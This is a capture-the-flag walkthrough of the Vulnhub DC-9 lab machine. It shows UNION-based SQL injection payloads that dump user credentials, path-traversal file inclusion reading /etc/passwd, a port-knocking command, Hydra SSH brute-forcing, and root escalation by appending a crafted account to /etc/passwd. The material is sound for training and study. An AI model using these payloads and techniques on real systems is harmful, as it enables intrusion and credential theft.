Vulnhub | DC-9

Vulnhub | DC-9

9 months ago   •   12 min read

By 0xBEN
Table of contents

Nmap Scan

# Nmap 7.91 scan initiated Thu Sep 16 15:28:54 2021 as: nmap -T4 -p- -A -oA scan-advanced 10.6.6.12  
Nmap scan report for dc-9.cyber.range (10.6.6.12)  
Host is up (0.00049s latency).  
Not shown: 65533 closed ports  
PORT   STATE    SERVICE VERSION  
22/tcp filtered ssh  
80/tcp open     http    Apache httpd 2.4.38 ((Debian))  
|_http-server-header: Apache/2.4.38 (Debian)  
|_http-title: Example.com - Staff Details - Welcome  
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).  
TCP/IP fingerprint:  
OS:SCAN(V=7.91%E=4%D=9/16%OT=80%CT=1%CU=44461%PV=Y%DS=2%DC=T%G=Y%TM=61439B0  
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M  
OS:5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%  
OS:O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%  
OS:DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=  
OS:0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)  
OS:T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%  
OS:RUD=G)IE(R=Y%DFI=N%T=40%CD=S)  
  
Network Distance: 2 hops  
  
TRACEROUTE (using port 8888/tcp)  
HOP RTT     ADDRESS  
1   0.19 ms pfSense.cyber.range (10.0.0.1)  
2   0.43 ms dc-9.cyber.range (10.6.6.12)  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done at Thu Sep 16 15:29:15 2021 -- 1 IP address (1 host up) scanned in 21.28 seconds




Service Enumeration

HTTP

When I enumerate a web application, I like to take my time and click a lot of links, test inputs, check the source code, and get a general sense of what the application does.

After clicking around for a bit, I find something interesting. The search function calls the results.php script. So, whatever input I post to search.php will be passed to results.php

Search Page

I navigate to the Search page and enter test as a query. I capture it with Burp Suite to see if I can modify the POST body.

POST /results.php HTTP/1.1
Host: 10.6.6.12
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.6.6.12
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.6.6.12/search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=a30pnbs9hc48nu6ospce5jf25f
Connection: close

search=test

If I change search=test to search=', I find the application is vulnerable to SQL injection (SQLi).

This payload returns all the records from the database.

Manage Page

I also find that the /manage.php page is vulnerable to Local File Inclusion (LFI) by running the falling GET request: http://10.6.6.12/manage.php?file=../../../../../../../../../etc/passwd

Since port 22 is filtered, I suspect there may be some mechanism to trigger in order to be allowed in. I check for a port knock sequence. http://10.6.6.12/manage.php?file=../../../../../../../../../etc/knockd.conf

[options] UseSyslog

[openSSH] 
sequence = 7469,8475,9842 
seq_timeout = 25 
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn 

[closeSSH] 
sequence = 9842,8475,7469 
seq_timeout = 25 
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn




SQL Injection (SQLi)

Finding the Column Count

The first thing to check is how many columns are being returned by the SQL query in the PHP script. Our injections must return the exact number of columns from the database as the original query.

The way we do this is to keep adding arguments (like NULL) to our injection until data is returned.

First Payload

' UNION SELECT NULL-- ' returns nothing. So we know there are more than one column being returned.

Second Payload

' UNION SELECT NULL, NULL-- ' again, returns nothing.

Third Payload

' UNION SELECT NULL, NULL, NULL--' still nothing.

Keep Repeating the Process

We keep adding one to the injection until we receive output. I found that there are total of six columns being returned by the SQL query.
' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL-- '

Now, let's try and see the best place to inject arbitrary queries in the returned results by running this query. ' UNION SELECT 1, 2, 3, 4, 5, 6-- '.

We get the following results back:

Search results

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: 6

So, fields 1 and 6 look like good spots to output some data.
' UNION SELECT @@version,2,3,4,5,user() -- '

Search results

ID: 10.3.17-MariaDB-0+deb10u1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: dbuser@localhost

Picking Apart the Database

Get Database Names

' UNION SELECT 1,2,3,4,5,concat(schema_name) FROM information_schema.schemata -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: information_schema  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: Staff  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: users

Get the Currently Selected Database

' UNION SELECT 1,2,3,4,5,database() --'

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: Staff

Get the Tables from the Staff Database

' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='Staff' -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: StaffDetails  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: Users

Get the Column Names from the StaffDetails Table

' UNION SELECT 1,2,3,4,5,concat(column_name) FROM  nformation_schema.COLUMNS WHERE TABLE_NAME='StaffDetails' -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: id  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: firstname  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: lastname  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: position  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: phone  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: email  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: reg_date

Get the Column Names from the Users Table

' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Users' -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: UserID  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: Username  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: Password

Get the Tables from the Users Database

' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='users' -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: UserDetails

Get the Column Names from the UserDetails Table

' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='UserDetails' -- '

ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: id  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: firstname  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: lastname  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: username  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: password  
  
ID: 1  
Name: 2 3  
Position: 4  
Phone No: 5  
Email: reg_date

Retrieving Data from the Database

The most interesting tables are the UserDetails and users tables, since they contain password columns.

Retrieve Data from the Users Table

' UNION SELECT UserID,2,3,Username,Password,6 FROM Users -- '

ID: 1  
Name: 2 3  
Position: admin  
Phone No: 856f5de590ef37314e7c3bdf6f8a66dc
Email: 6

Retrieve Data from the UserDetails Table

I must specify users.UserDetails, as Staff is the currently selected database.
' UNION SELECT id,firstname,lastname,username,password,6 FROM users.UserDetails -- '

ID: 1  
Name: Mary Moe  
Position: marym  
Phone No: 3kfs86sfd  
Email: 6  
  
ID: 2  
Name: Julie Dooley  
Position: julied  
Phone No: 468sfdfsd2  
Email: 6  
  
ID: 3  
Name: Fred Flintstone  
Position: fredf  
Phone No: 4sfd87sfd1  
Email: 6  
  
ID: 4  
Name: Barney Rubble  
Position: barneyr  
Phone No: RocksOff  
Email: 6  
  
ID: 5  
Name: Tom Cat  
Position: tomc  
Phone No: TC&TheBoyz  
Email: 6  
  
ID: 6  
Name: Jerry Mouse  
Position: jerrym  
Phone No: B8m#48sd  
Email: 6  
  
ID: 7  
Name: Wilma Flintstone  
Position: wilmaf  
Phone No: Pebbles  
Email: 6  
  
ID: 8  
Name: Betty Rubble  
Position: bettyr  
Phone No: BamBam01  
Email: 6  
  
ID: 9  
Name: Chandler Bing  
Position: chandlerb  
Phone No: UrAG0D!  
Email: 6  
  
ID: 10  
Name: Joey Tribbiani  
Position: joeyt  
Phone No: Passw0rd  
Email: 6  
  
ID: 11  
Name: Rachel Green  
Position: rachelg  
Phone No: yN72#dsd  
Email: 6  
  
ID: 12  
Name: Ross Geller  
Position: rossg  
Phone No: ILoveRachel  
Email: 6  
  
ID: 13  
Name: Monica Geller  
Position: monicag  
Phone No: 3248dsds7s  
Email: 6  
  
ID: 14  
Name: Phoebe Buffay  
Position: phoebeb  
Phone No: smellycats  
Email: 6  
  
ID: 15  
Name: Scooter McScoots  
Position: scoots  
Phone No: YR3BVxxxw87  
Email: 6  
  
ID: 16  
Name: Donald Trump  
Position: janitor  
Phone No: Ilovepeepee  
Email: 6  
  
ID: 17  
Name: Scott Morrison  
Position: janitor2  
Phone No: Hawaii-Five-0  
Email: 6




Port Knocking

Opening SSH

I use this BASH one-liner to open port 22 on the target: for port in {7469,8475,9842} ; do sudo nmap -Pn --max-retries 0 -p$port $target > /dev/null 2>&1 ; done

Use nmap to double-check the port:

┌──(ben㉿kali)-[~/Pentest/Vulnhub/OSCP-Like/DC-9]  
└─$ sudo nmap -p22 $target  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-17 18:53 EDT  
Nmap scan report for dc-9.cyber.range (10.6.6.12)  
Host is up (0.00060s latency).  
  
PORT   STATE SERVICE  
22/tcp open  ssh  
  
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds




Using the Intel

We have gathered some really valuable data from SQLi and LFI. Putting this intel together, we should have much better path forward.

Using the data from /etc/passwd I want to see which user in the database is also a user on the system, as they likely have reused passwords. When comparing the data from the UserDetails table and the /etc/passwd file, there is some clear overlap between accounts.

I am going to use the UserDetails table data to make an SSH brute-force list. I copy the UserDetails data and paste it into a file called users.txt.

Make a List of Usernames

grep -iE 'position' users | awk -F': ' '{print $2}' > usernames

Make a List of Passwords

grep -iE 'phone' users | awk -F': ' '{print $2}' > passwords

Merge Them

paste -d ':' usernames passwords | sed 's/ //g' > logins





Exploit

I stacked some vulnerabilities – SQLi and LFI – and performed thorough enumeration to make it as likely as possible to succeed in penetrating this target.

Brute Force with Hydra

┌──(ben㉿kali)-[~/Pentest/Vulnhub/OSCP-Like/DC-9]
└─$ hydra -IC logins ssh://$target 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-17 19:19:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries, ~2 tries per task
[DATA] attacking ssh://10.6.6.12:22/
[22][ssh] host: 10.6.6.12   login: janitor   password: Ilovepeepee
[22][ssh] host: 10.6.6.12   login: joeyt   password: Passw0rd
[22][ssh] host: 10.6.6.12   login: chandlerb   password: UrAG0D!
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-17 19:19:59




Post-Exploitation Enumeration

Operating System & Kernel

janitor@dc-9:~$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
janitor@dc-9:~$ cat /etc/*release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Users and Groups

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
input:x:105:
kvm:x:106:
render:x:107:
crontab:x:108:
netdev:x:109:
messagebus:x:110:
ssh:x:111:
systemd-coredump:x:999:
ssl-cert:x:112:
mysql:x:113:
marym:x:1001:
julied:x:1002:
fredf:x:1003:
barneyr:x:1004:
tomc:x:1005:
jerrym:x:1006:
wilmaf:x:1007:
bettyr:x:1008:
chandlerb:x:1009:
joeyt:x:1010:
rachelg:x:1011:
rossg:x:1012:
monicag:x:1013:
phoebeb:x:1014:
scoots:x:1015:
janitor:x:1016:
janitor2:x:1017:

Interesting Files

  1. /home/janitor/.secrets-for-putin/passwords-found-on-post-it-notes.txt
janitor@dc-9:~$ cat /home/janitor/.secrets-for-putin/passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

Of these passwords, BamBam01, Passw0rd, smellycats are  in our original password list.

bettyr:BamBam01
joeyt:Passw0rd
phoebeb:smellycats

These passwords are not in our original list: P0Lic#10-4, B4-Tru3-001, 4uGU5T-NiGHts. I add them to the passwords list. Using hydra and new password list, found an additional logon

hydra -Ivu -l usernames -p passwords ssh://$target
[22][ssh] host: 10.6.6.12 login: fredf password: B4-Tru3-001




Privilege Escalation

I SSH in as fredf and check this user's permissions. fredf has sudo privileges to call /opt/devstuff/dist/test/test. This program calls /opt/devstuff/test.py. test.py takes two arguments: read and append.

test.py will take the file defined in read and append to the file in append.

touch /tmp/add-me

# Generate a hash and copy it to clipboard
openssl passwd -1 password

echo 'pwned:$1$J173o49o$0iIPz1r.UDdFjctdgrwIq0:0:0:root:/root:/bin/bash' >> /tmp/add-me

# Append the new user to the /etc/passwd file
sudo /opt/devstuff/dist/test/test /tmp/add-me /etc/passwd
root@dc-9:~# cat theflag.txt   
  
███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗  
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║  
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██║██║  
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝  
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██╗██╗██╗  
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝  
                                                                               
Congratulations - you have done well to get to this point.  
  
Hope you enjoyed DC-9.  Just wanted to send out a big thanks to all those  
who have taken the time to complete the various DC challenges.  
  
I also want to send out a big thank you to the various members of @m0tl3ycr3w .  
  
They are an inspirational bunch of fellows.  
  
Sure, they might smell a bit, but...just kidding.  :-)  
  
Sadly, all things must come to an end, and this will be the last ever  
challenge in the DC series.  
  
So long, and thanks for all the fish.

Spread the word

Keep reading